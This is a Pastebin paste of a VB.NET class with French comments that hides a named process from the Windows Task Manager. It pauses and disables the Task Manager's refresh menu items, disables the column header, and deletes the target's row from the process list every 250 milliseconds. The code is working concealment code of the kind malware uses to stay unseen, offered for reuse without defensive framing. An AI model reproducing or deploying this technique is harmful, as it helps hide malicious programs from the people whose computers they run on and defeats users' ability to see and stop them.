Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Public Class CacherProc
- 'Constantes de Microsoft
- Const WM_COMMAND As Int32 = &H111
- Const MF_ENABLED As Int32 = &H0
- Const MF_GRAYED As Int32 = &H1
- Const LVM_FIRST As Int32 = &H1000
- Const LVM_DELETEITEM As Int32 = (LVM_FIRST + 8)
- Const LVM_SORTITEMS As Int32 = (LVM_FIRST + 48)
- 'Déclaration des fonctions de l'API user32
- Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Int32
- Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Int32, ByVal hWnd2 As Int32, ByVal lpsz1 As String, ByVal lpsz2 As String) As Int32
- Private Declare Function EnableWindow Lib "user32" Alias "EnableWindow" (ByVal hwnd As Int32, ByVal fEnable As Int32) As Boolean
- Private Declare Function GetMenu Lib "user32" Alias "GetMenu" (ByVal hwnd As Int32) As Int32
- Private Declare Function GetSubMenu Lib "user32" Alias "GetSubMenu" (ByVal hMenu As Int32, ByVal nPos As Int32) As Int32
- Private Declare Function GetMenuItemID Lib "user32" Alias "GetMenuItemID" (ByVal hMenu As Int32, ByVal nPos As Int32) As Int32
- Private Declare Function EnableMenuItem Lib "user32" Alias "EnableMenuItem" (ByVal hMenu As Int32, ByVal wIDEnableItem As Int32, ByVal wEnable As Int32) As Int32
- Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Int32, ByVal wMsg As Int32, ByVal wParam As Int32, ByVal lParam As String) As Int32
- Private Declare Function LockWindowUpdate Lib "user32" Alias "LockWindowUpdate" (ByVal hwndLock As Int32) As Int32
- Dim a As New ArrayList 'la liste virtuelle qui contiendra les processus affichés dans le gestionnaire des tâches
- Dim WithEvents timer As New Timer 'Le timer nous permettra de cacher le programme un certain temps
- Public Sub New(ByRef nomProcessus As String)
- _nom = nomProcessus
- End Sub
- Private _nom As String = ""
- Private _cacher As Boolean
- Public Property Cacher() As Boolean
- Get
- Return _cacher
- End Get
- Set(ByVal value As Boolean)
- _cacher = value
- If value = True Then
- timer.Interval = 250 'intervalle acceptable
- timer.Start()
- Else
- timer.Stop()
- CacherProcessus("", False)
- End If
- End Set
- End Property
- Public Function CacherProcessus(ByVal nom As String, Optional ByVal cacher As Boolean = True)
- ' Try
- Dim lhWndParent As Int32 = FindWindow(Nothing, "Gestionnaire des tâches de Windows") 'on récupère le handle du gestionnaire
- Dim lhWndDialog As Int32 = 0
- Dim lhWndProcessList As Int32 = 0
- Dim lhWndProcessHeader As Int32 = 0
- Dim hMenu As Int32 = GetMenu(lhWndParent) 'on récupère le handle de son menu
- Dim hSubMenu As Int32 = GetSubMenu(hMenu, 2) 'on récupère le handle du sous-menu (affichage)
- Dim hSubSubMenu As Int32 = GetSubMenu(hSubMenu, 1) 'on récupère encore le sous-menu pour "update speed"
- Dim hId1 As Int32 = GetMenuItemID(hSubMenu, 0) 'on récupère l'id de rafraichir
- Dim hId2 As Int32 = GetMenuItemID(hSubSubMenu, 0) 'on récupère l'id de "high update speed"
- Dim hId3 As Int32 = GetMenuItemID(hSubSubMenu, 1) 'on récupère l'id de "normal update speed"
- Dim hId4 As Int32 = GetMenuItemID(hSubSubMenu, 2) 'on récupère l'id de "low update speed"
- Dim hId5 As Int32 = GetMenuItemID(hSubSubMenu, 3) 'on récupère l'id de "paused update speed"
- 'si on souhaite cacher
- If cacher = True Then
- Dim compteurProcessus, indexProcessus As Int32
- Dim processusCourant As String, p As New Process, Processus() As Process
- For i As Int32 = 1 To 7 'on parcoure les 7 fenêtres enfants
- lhWndDialog = FindWindowEx(lhWndParent, lhWndDialog, Nothing, Nothing)
- If lhWndProcessList = 0 Then lhWndProcessList = FindWindowEx(lhWndDialog, 0, "SysListView32", "Processus") 'on récupère le handle de la liste
- If lhWndProcessHeader = 0 Then lhWndProcessHeader = FindWindowEx(lhWndProcessList, 0, "SysHeader32", Nothing) 'on récupère le handle du header
- Next
- SendMessage(lhWndParent, WM_COMMAND, hId5, 0) 'Clique sur "paused update speed"
- EnableMenuItem(hMenu, hId1, MF_GRAYED) 'désactive l'actualisation
- EnableMenuItem(hMenu, hId2, MF_GRAYED) 'désactive la vitesse d'actualisation (élevée)
- EnableMenuItem(hMenu, hId3, MF_GRAYED) 'désactive la vitesse d'actualisation (normale)
- EnableMenuItem(hMenu, hId4, MF_GRAYED) 'désactive la vitesse d'actualisation (lente)
- EnableMenuItem(hMenu, hId5, MF_GRAYED) 'désactive la pause de l'actualisation
- EnableWindow(lhWndProcessHeader, 0) 'désactive le header processus,il ne pourra pas être retrié par l'utilisateur
- If a.Count > 0 Then a.Clear() 'on réinitialise la liste
- Processus = Process.GetProcesses() 'on récupère les processus
- For Each p In Processus 'on ajoute chaque processus à la liste
- compteurProcessus += 1
- If p.SessionId = 1 Then 'si l'ID = 1 i.e. si le processus est affiché dans le gestionnaire
- a.Add(p.ProcessName.ToString) 'on l'ajoute à la liste virtuelle
- End If
- Next p
- a.Sort() 'on trie notre array comme dans le gestionnaire pour pouvoir récupèrer et cacher le bon processus
- 'à présent on note l'index du processus recherché
- For z As Int32 = 0 To compteurProcessus - 1
- If z >= a.Count Then
- Exit For
- End If
- processusCourant = a.Item(z).ToString
- If processusCourant = nom Then 'si on a trouvé le processus
- indexProcessus = z 'on récupère son index
- End If
- Next
- LockWindowUpdate(lhWndProcessList) 'verrouille la fenêtre pour l'empêcher de se mettre à jour pour éviter le scintillement
- SendMessage(lhWndParent, WM_COMMAND, hId1, 0) 'clique automatiquement sur rafraichir
- SendMessage(lhWndProcessList, LVM_SORTITEMS, 0, Nothing) 'trie les éléments
- SendMessage(lhWndProcessList, LVM_DELETEITEM, indexProcessus, 0) 'supprime le processus voulu de la liste
- LockWindowUpdate(False) 'déverouille la fenetre
- Else 'si on réaffiche le processus
- For i As Int32 = 1 To 7 'même méthode qu'avant
- lhWndDialog = FindWindowEx(lhWndParent, lhWndDialog, Nothing, Nothing)
- If lhWndProcessList = 0 Then lhWndProcessList = FindWindowEx(lhWndDialog, 0, "SysListView32", "Processus")
- If lhWndProcessHeader = 0 Then lhWndProcessHeader = FindWindowEx(lhWndProcessList, 0, "SysHeader32", Nothing)
- Next
- 'on réactive tout
- EnableMenuItem(hMenu, hId1, MF_ENABLED)
- EnableMenuItem(hMenu, hId2, MF_ENABLED)
- EnableMenuItem(hMenu, hId3, MF_ENABLED)
- EnableMenuItem(hMenu, hId4, MF_ENABLED)
- EnableMenuItem(hMenu, hId5, MF_ENABLED)
- SendMessage(lhWndParent, WM_COMMAND, hId3, 0) 'clique sur vitesse d'actualisation normale
- SendMessage(lhWndParent, WM_COMMAND, hId1, 0) 'clique sur rafraichir
- EnableWindow(lhWndProcessHeader, 1) 'active le header processsus
- End If
- Return True
- End Function
- Private Sub timer_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles timer.Tick
- CacherProcessus(_nom) 'cache le proc toutes les N secondes
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement